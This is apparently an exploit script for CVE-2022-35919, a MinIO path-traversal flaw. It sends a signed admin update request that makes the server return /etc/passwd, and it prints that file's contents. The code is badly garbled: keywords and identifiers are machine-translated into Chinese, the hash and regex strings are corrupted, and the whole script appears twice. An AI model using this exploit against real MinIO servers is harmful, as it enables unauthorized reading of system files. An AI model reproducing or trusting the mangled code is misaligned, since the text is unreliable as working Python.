#Exploit Title: Minio 2022-07-29T19-40-48Z-路径遍历
#日期: 2023-09-02
#利用作者: Jenson Zhao
#供应商HomePage: https://min.io/
#软件link: https://github.com/minio/minio/
#版本:到(不包括)2022-07-29T19-40-48Z
#测试在: Windows 10
#CVE : CVE-2022-35919
#在执行之前要求: PIP安装Minio,请求
导入Urllib.Parse
导入请求,JSON,RE,DATETIME,ARGPARSE
从minio.credentials导入凭据
来自minio.signer导入sign_v4_s3
类Myminio():
安全=false
def __init __(self,base_url,access_key,secret_key):
self.credits=凭据(
access_key=access_key,
secret_key=secret_key
)
如果base_url.startswith('http://')和base_url.endswith('/'):
self.url=base_url +'minio/admin/v3/update?update=%2fetc%2fpasswd'
elif base_url.startswith('https://')和base_url.endswith('/'):
self.url=base_url +'minio/admin/v3/update?update=%2fetc%2fpasswd'
self.secure=true
其他:
打印('请输入以'http://'或'https://'开头的URL地址,并以“/'\ n”结尾)
DEF POC(自我):
dateTimes=dateTime.dateTime.utcnow()
datetime_str=datetimes.strftime('%y%m%dt%h%m%sz')
urls=urllib.parse.urlparse(self.url)
标题={
'X-AMZ-CONTENT-SHA256':'E3B0C44298FC1C149AFBF4C89996FB92427AE41E4649B934CA4934CA495991B7852B85555555555555555555555555555
'x-amz-date': datetime_str,
'host': urls.netloc,
}
标题=sign_v4_s3(
方法='post',
url=url,
区域='',
标题=标题,
凭据=self.credits,
Content_SHA256='E3B0C44298FC1C149AFBF4C89996FB92427AE41E4649B934CA495991B7852B85555555555555555555555555555.
date=datetimes,
)
如果self.secure:
响应=requests.post(url=self.url,headers=标题,验证=false)
其他:
响应=requests.post(url=self.url,标头=标题)
TRY:
消息=JSON.LOADS(wonsevy.text)['message']
模式=r'(\ w+):(\ w+):(\ d+):(\ d+):(\ w+):(\ w+):(\/[\/[\/[\ w \ w \/\ .- .-]+)+)3:(\ w \ w \ w \ w \ w \ w \ w \ w \ w \ w \ w \ w \。
匹配=re.findall(模式,消息)
如果匹配:
打印('URL有CVE-2022-35919问题!')
打印(' /etc /passwd文件的内容如下:')
在比赛中进行比赛:
print('{} : {} : {} : {} : {} : {} : {} : {} : {} : {} : {}
匹配[6]))
其他:
打印('URL没有CVE-2022-35919问题!')
打印(“这是响应消息Content:')
打印(消息)
除异常外,E:
打印(
``似乎有问题的回复存在问题,这不符合我们的预期标准。这是响应内容:')
打印(响应。文本)
如果name=='__ -Main __':
Parser=argparse.argumentparser()
parser.add_argument(' - u',' - '-url',必需=true,help='target的url。
parser.add_argument(' - a',' - accesskey',必需=true,help='目标的minio AccessKey。示例: miniioadmin')
parser.add_argument(' - s',' - secretkey',必需=true,help='目标的minio secretkey。示例: miniioadmin')
args=parser.parse_args()
minio=myminio(args.url,args.accesskey,args.secretkey)
minio.poc()
#日期: 2023-09-02
#利用作者: Jenson Zhao
#供应商HomePage: https://min.io/
#软件link: https://github.com/minio/minio/
#版本:到(不包括)2022-07-29T19-40-48Z
#测试在: Windows 10
#CVE : CVE-2022-35919
#在执行之前要求: PIP安装Minio,请求
导入Urllib.Parse
导入请求,JSON,RE,DATETIME,ARGPARSE
从minio.credentials导入凭据
来自minio.signer导入sign_v4_s3
类Myminio():
安全=false
def __init __(self,base_url,access_key,secret_key):
self.credits=凭据(
access_key=access_key,
secret_key=secret_key
)
如果base_url.startswith('http://')和base_url.endswith('/'):
self.url=base_url +'minio/admin/v3/update?update=%2fetc%2fpasswd'
elif base_url.startswith('https://')和base_url.endswith('/'):
self.url=base_url +'minio/admin/v3/update?update=%2fetc%2fpasswd'
self.secure=true
其他:
打印('请输入以'http://'或'https://'开头的URL地址,并以“/'\ n”结尾)
DEF POC(自我):
dateTimes=dateTime.dateTime.utcnow()
datetime_str=datetimes.strftime('%y%m%dt%h%m%sz')
urls=urllib.parse.urlparse(self.url)
标题={
'X-AMZ-CONTENT-SHA256':'E3B0C44298FC1C149AFBF4C89996FB92427AE41E4649B934CA4934CA495991B7852B85555555555555555555555555555
'x-amz-date': datetime_str,
'host': urls.netloc,
}
标题=sign_v4_s3(
方法='post',
url=url,
区域='',
标题=标题,
凭据=self.credits,
Content_SHA256='E3B0C44298FC1C149AFBF4C89996FB92427AE41E4649B934CA495991B7852B85555555555555555555555555555.
date=datetimes,
)
如果self.secure:
响应=requests.post(url=self.url,headers=标题,验证=false)
其他:
响应=requests.post(url=self.url,标头=标题)
TRY:
消息=JSON.LOADS(wonsevy.text)['message']
模式=r'(\ w+):(\ w+):(\ d+):(\ d+):(\ w+):(\ w+):(\/[\/[\/[\ w \ w \/\ .- .-]+)+)3:(\ w \ w \ w \ w \ w \ w \ w \ w \ w \ w \ w \ w \。
匹配=re.findall(模式,消息)
如果匹配:
打印('URL有CVE-2022-35919问题!')
打印(' /etc /passwd文件的内容如下:')
在比赛中进行比赛:
print('{} : {} : {} : {} : {} : {} : {} : {} : {} : {} : {}
匹配[6]))
其他:
打印('URL没有CVE-2022-35919问题!')
打印(“这是响应消息Content:')
打印(消息)
除异常外,E:
打印(
``似乎有问题的回复存在问题,这不符合我们的预期标准。这是响应内容:')
打印(响应。文本)
如果name=='__ -Main __':
Parser=argparse.argumentparser()
parser.add_argument(' - u',' - '-url',必需=true,help='target的url。
parser.add_argument(' - a',' - accesskey',必需=true,help='目标的minio AccessKey。示例: miniioadmin')
parser.add_argument(' - s',' - secretkey',必需=true,help='目标的minio secretkey。示例: miniioadmin')
args=parser.parse_args()
minio=myminio(args.url,args.accesskey,args.secretkey)
minio.poc()